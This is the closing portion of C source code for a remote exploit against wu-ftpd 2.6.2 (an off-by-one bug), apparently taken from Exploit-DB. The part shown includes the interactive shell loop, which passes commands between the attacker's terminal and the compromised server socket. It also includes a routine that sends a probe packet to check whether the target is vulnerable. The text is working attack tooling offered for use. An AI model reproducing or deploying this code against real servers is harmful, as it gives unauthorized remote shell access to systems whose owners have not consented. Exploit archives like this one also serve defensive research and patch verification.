    if(!ex_t)
    {
    fprintf(stderr," [-] exploit failure.\n\n");
     return;
    }
    else
    {
 fprintf(stdout," [*] exploit successfully ! (&shellcode_addr: %p)\n\n",scs_addr);
     exit(NRL);
    }
   }
   readbuf[died]=(NRL);
   fprintf(stdout,"%s",readbuf);
  }
  if(FD_ISSET(STDIN_FILENO,&rset))
  {
   died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);
   if(died>(NRL))
   {
    readbuf[died]=(NRL);
    if(strstr(readbuf,"exit"))
     ex_t=(SCS);
    write(conn_sock,readbuf,died);
   }
  }
 }
 return;
}

void re_connt(int st_sock_va)
{
 if(st_sock_va==(FAD))
 {
  fprintf(stdout," [ Fail ]\n\n");
  exit(FAD);
 }
}

void banrl()
{
fprintf(stdout,"\n 0x82-WOOoou~Happy_new - wu-ftpd v2.6.2 off-by-one remote exploit.\n\n");
}

int check_exp(int sock)
{
 int conn_died;
 char gt_bf[(GET_R)];

 fprintf(stdout,"\n [+] Check exploit test ...\n");
 send(sock,"X82\r\n",strlen("X82\r\n"),(NRL)); /* test packet */
 (u_int)sleep(SCS);
 memset((char *)gt_bf,(NRL),sizeof(gt_bf));
 conn_died=read(sock,gt_bf,sizeof(gt_bf)-1);

 if(strstr(gt_bf,(CMD_ERROR)))
 {
  fprintf(stdout," [X] After test exploit, wu-ftpd is alive.\n");
  return(FAD);
 }
 else if(conn_died<=(NRL))
 {
  fprintf(stdout," [*] Ok, This is vulnerable version.\n\n");
  return(SCS);
 }
 else return(FAD);
}

/* eoc */ URL: https://www.exploit-db.com/exploits/22975